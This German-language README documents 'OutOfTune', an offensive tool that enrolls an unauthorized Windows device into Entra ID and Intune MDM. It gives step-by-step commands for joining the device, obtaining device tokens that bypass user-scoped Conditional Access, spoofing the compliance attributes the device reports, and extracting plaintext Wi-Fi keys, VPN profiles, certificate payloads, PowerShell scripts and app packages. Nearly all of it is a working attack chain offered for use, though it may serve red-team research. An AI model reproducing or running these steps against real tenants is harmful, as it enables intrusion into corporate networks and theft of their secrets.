
Rogue-Device-Enrollment-Tool für Entra ID und Intune MDM. Automatisiert den Gerätebeitritt, Token-Erfassung, MDM-Registrierung und OMA-DM-Check-in, um Richtlinien, WLAN-Anmeldedaten, Skripte und Apps zu extrahieren, während Conditional Access umgangen wird.
Inspiriert vom ursprünglichen Pytune, registriert OutOfTune ein nicht autorisiertes Gerät in Entra ID, meldet es bei Intune MDM an und prüft den resultierenden Compliance-Status.
Unterstützt nur Windows-Geräte, da dies mein Hauptziel war. Möglicherweise werden in Zukunft weitere hinzugefügt.
Begleitende Blogbeiträge:
pip install -r requirements.txt
Die Kette läuft in Phasen ab, die jeweils auf dem in chain_state.json gespeicherten Zustand aufbauen.
drs-token -> device-join -> device-token -> mdm-enroll -> mdm-checkin
ROPC (Anmeldedaten bekannt):
python OutOfTune.py drs-token -u [email protected] -p Passwort1!
Vorab erhaltenes Token:
python OutOfTune.py drs-token -u [email protected] -t <drs_access_token>
python OutOfTune.py device-join
python OutOfTune.py device-join -n CORP-LAPTOP-01
Erzeugt <GERÄTENAME>.pfx – das Gerätezertifikat. Passwort ist password.
python OutOfTune.py device-token
python OutOfTune.py device-token --cert CORP-LAPTOP-01.pfx
Authentifiziert sich bei AAD als Geräteobjekt (nicht als Benutzer). Umgeht benutzerbezogene CA-Richtlinien.
python OutOfTune.py mdm-enroll
python OutOfTune.py mdm-enroll --profile profiles/dell_win11_ent.json
Führt SOAP-Discovery gegen den MDM-Endpunkt durch und sendet dann eine WS-Trust PKCS10-Registrierungsanfrage. Erzeugt <GERÄTENAME>_mdm.pfx.
Verwenden Sie --profile, um die an Intune gesendeten Hardware-/OS-Attribute des Geräts zu fälschen (siehe Geräteprofile).
python OutOfTune.py mdm-checkin
python OutOfTune.py mdm-checkin -r <refresh_token>
python OutOfTune.py mdm-checkin --cert CORP-LAPTOP-01_mdm.pfx
python OutOfTune.py mdm-checkin -O ./output
python OutOfTune.py mdm-checkin -O ./output --save-syncml ./output/raw
Führt die OMA-DM SyncML-Schleife gegen r.manage.microsoft.com aus. Intune überträgt Konfigurationsprofile, App-Zuweisungen und alle anderen Richtlinien, die auf das Gerät abzielen. Nach Abschluss der Schleife werden die Erkenntnisse automatisch extrahiert und angezeigt.
Wenn -r angegeben wird, wird das Refresh-Token gegen ein manage.microsoft.com-Zugriffstoken eingetauscht und als Authorization: Bearer in jeder SyncML-Anfrage gesendet. Intune liest den UPN aus diesem Token und legt ihn als primären Benutzer des Geräts fest, sodass benutzerbezogene Compliance-Richtlinien gebunden werden. Sie müssen dies nur einmal mit -r ausführen, damit ein Benutzer zugewiesen wird; alle nachfolgenden Checkins können ohne Refresh-Token durchgeführt werden.
Ohne -r hat das Gerät keinen primären Benutzer.
Nach diesem ersten Checkin, wenn Sie sich für einen längeren Zeitraum (normalerweise 5–7 Tage) nicht erneut anmelden, könnte das Gerät aufgrund der Standardrichtlinie für „Ist aktiv“ nicht mehr konform sein. Abhängig von der Konfiguration von Intune kann das Gerät in eine Schonfrist eintreten, bevor es als nicht konform markiert wird. In diesem Fall führen Sie mdm-checkin erneut aus. Wenn Sie zuvor ein Refresh-Token verwendet haben, um einen primären Benutzer zuzuweisen, muss dieses nicht erneut übermittelt werden, da der primäre Benutzer jetzt im Intune-Backend gespeichert ist.
Rohe XML-Runden, die mit --save-syncml gespeichert wurden, ohne Live-Checkin erneut parsen.
python OutOfTune.py parse-checkin --dir ./output/raw -O ./output2
python OutOfTune.py parse-checkin --file ./output/raw/round_001.xml -O ./output2
python OutOfTune.py check -u [email protected] -r <refresh_token>
python OutOfTune.py check -u [email protected] -p Passwort1!
Erstellt ein PRT aus dem Gerätezertifikat, tauscht es gegen ein IWService-Token ein und fragt IWService/Devices nach dem Compliance-Status des Geräts und etwaigen nicht konformen Regeln ab.
Verwenden Sie -r mit einem MFA-Sitzungs-Refresh-Token, wenn der Mandant CA für die Registrierungsressource MFA erfordert.
Ruft Win32-Apps und PowerShell-Skripte ab, die dem Gerät über die IME SideCarGateway zugewiesen sind. Verwendet nur das MDM-Clientzertifikat – kein Benutzertoken erforderlich.
python OutOfTune.py download-apps
python OutOfTune.py download-apps --cert CORP-LAPTOP-01_mdm.pfx
scripts/<PolicyId>.ps1 gespeichertapps/<AppName>/ extrahiertRuft proaktive Remediation-Skripte (Erkennungs- und Behebungspaare) ab, die dem Gerät zugewiesen sind.
python OutOfTune.py get-remediations
python OutOfTune.py get-remediations --cert CORP-LAPTOP-01_mdm.pfx
Jede Richtlinie wird in remediations/<PolicyId>/ gespeichert, mit:
detection.ps1 – das Erkennungsskriptremediation.ps1 – das Behebungsskriptparams.json – Richtlinien-ID und etwaige SkriptparameterWenn das Entfernen des Geräts aus Intune fehlschlägt, löschen Sie es aus Entra. Es fällt dann in eine Schonfrist in Intune und wird zu einem späteren Zeitpunkt automatisch wieder verwaltet.
Gerät aus Intune entfernen:
python OutOfTune.py retire-intune -u [email protected] -r <refresh_token>
Geräteobjekt aus Entra ID entfernen:
python OutOfTune.py entra-delete
python OutOfTune.py status
Die Geräteattribute, die während der Registrierung und des Checkins an Intune gesendet werden, können über ein JSON-Profil vollständig gefälscht werden. Dies umfasst Hardware-Identifikatoren, Betriebssystemversion, Hersteller und alle selbst gemeldeten Compliance-CSP-Werte (BitLocker, Firewall, Defender, TPM, Secure Boot).
python OutOfTune.py mdm-enroll --profile profiles/dell_win11_ent.json
python OutOfTune.py mdm-checkin # Das Profil wird im Zustand gespeichert und automatisch wiederverwendet
| Datei | Gerät |
|---|---|
profiles/default.json | Standardwerte (VMware / Win10 Enterprise) |
profiles/dell_win11_ent.json | Dell Latitude 5540 / Windows 11 Enterprise 23H2 |
Alle DeviceStatus-CSP-Werte werden selbst gemeldet und von Intune ohne unabhängige Überprüfung als vertrauenswürdig eingestuft. HAS-attestierte Compliance-Prüfungen (BitLockerEnabled, SecureBootEnabled über das HealthAttestation CSP) erfordern ein echtes TPM und können auf diese Weise nicht gefälscht werden.
--debug ausführliches HTTP- und Token-Logging
--proxy <url> Datenverkehr über einen Proxy leiten (z. B. http://127.0.0.1:8080)
Diese werden vor dem Befehl platziert:
python OutOfTune.py --debug device-token
python OutOfTune.py --proxy http://127.0.0.1:8080 mdm-checkin
Wenn Sie Zertifikate von einem vorherigen Durchlauf haben oder bestimmte PFX-Dateien verwenden möchten:
python OutOfTune.py device-token --cert pfad/zu/geraet.pfx
python OutOfTune.py mdm-enroll --cert pfad/zu/geraet.pfx
python OutOfTune.py mdm-checkin --cert pfad/zu/mdm.pfx
python OutOfTune.py check --cert pfad/zu/geraet.pfx
python OutOfTune.py download-apps --cert pfad/zu/mdm.pfx
python OutOfTune.py get-remediations --cert pfad/zu/mdm.pfx
Alle Phasenausgaben werden in chain_state.json im Arbeitsverzeichnis gespeichert. Löschen Sie sie, um neu zu beginnen. Verwenden Sie status, um den aktuellen Zustand zu prüfen, ohne etwas auszuführen. Wenn Sie mit mehreren Geräten arbeiten, stellen Sie sicher, dass jedes seine eigene Zustandsdatei hat. Die Standard-Zustandsdatei kann am Anfang des Skripts auf das jeweilige Gerät geändert werden, mit dem Sie arbeiten. Seien Sie vorsichtig mit den Zertifikatsüberschreibungsoptionen; sie sind hauptsächlich für Debugging-Zwecke gedacht.
Ein großer Dank geht an @temp43487580, der das ursprüngliche Pytune erstellt und dessen ursprüngliche Forschung dies ermöglicht hat.
| Flag | Beschreibung |
|---|
--cert DATEI | MDM-PFX-Datei – Gerätename wird automatisch aus dem Dateinamen abgeleitet |
-r RT | Benutzer-Refresh-Token – legt den primären Benutzer fest (nur einmal erforderlich) |
-O VERZ | Extraktierte Artefakte in VERZ speichern (wifi/, vpn/, scripts/, certs/, add_values.json, policy_values.json) |
--save-syncml VERZ | Rohe SyncML-XML pro Runde in VERZ zur Offline-Wiederverarbeitung speichern |
-o DATEI | Vollständige Konsolenausgabe in DATEI schreiben |
| Kategorie | Gespeichert in | Hinweise |
|---|
| WLAN-Profile | wifi/<SSID>.xml + _psk.txt | Klartext-PSK extrahiert, falls vorhanden |
| VPN-Profile | vpn/<name>.xml | Vollständiges ProfileXML |
| Zertifikat-Payloads | certs/cert_N.b64 | Verschlüsselte PFX-Blobs (roh, noch nicht entschlüsselt) |
| SCEP-Herausforderungen | angezeigt | CA-Modellname, Challenge-URL |
| Skripte | scripts/<name>.ps1 | PowerShell-Skripte, die über OMA-DM übertragen wurden |
| MSI-Download-URLs | angezeigt | Direkte CDN-Links für LOB-Apps |
| ODJ-Blob | odj_blob.b64 + odj_strings.txt | Offline Domain Join – lesbare Zeichenketten extrahiert |
| Add-Werte | add_values.json | Alle anderen Add-Befehle (Root-CA-Zertifikate, MDE-Onboarding, Richtlinienkonfiguration) |
| Replace-Werte | policy_values.json | Von Intune gesetzte Policy-CSP-Werte |
| Feld | CSP | Hinweise |
|---|
os_version | DevDetail/SwV | Min-/Max-OS-Versions-Compliance-Prüfungen |
os_edition_syncml | WindowsLicensing/Edition | 4 = Enterprise, 48 = Pro |
manufacturer | DevInfo/Man | Einige Richtlinien erlauben bestimmte Hersteller |
mac_address | SOAP AdditionalContext/MAC | Nur Nullen ist ein offensichtlicher Indikator |
hw_dev_id_enroll | SOAP AdditionalContext/HWDevID | 64 Hex-Zeichen |
bitlocker_status | BitLocker/Status/DeviceEncryptionStatus | 2 = verschlüsselt (selbst gemeldet) |
encryption_compliance | DeviceStatus/Compliance/EncryptionCompliance | 1 = konform (selbst gemeldet) |
firewall_status | DeviceStatus/Firewall/Status | 0 = an (selbst gemeldet) |
secure_boot_state | DeviceStatus/SecureBootState | 1 = aktiviert (selbst gemeldet, nicht HAS-attestiert) |
tpm_version | DeviceStatus/TPM/SpecificationVersion | Kein kryptografischer Nachweis |
defender_enabled | Defender/Health/DefenderEnabled | true = läuft |
defender_version | Defender/Health/DefenderVersion | Einige Richtlinien erzwingen eine Mindestversion |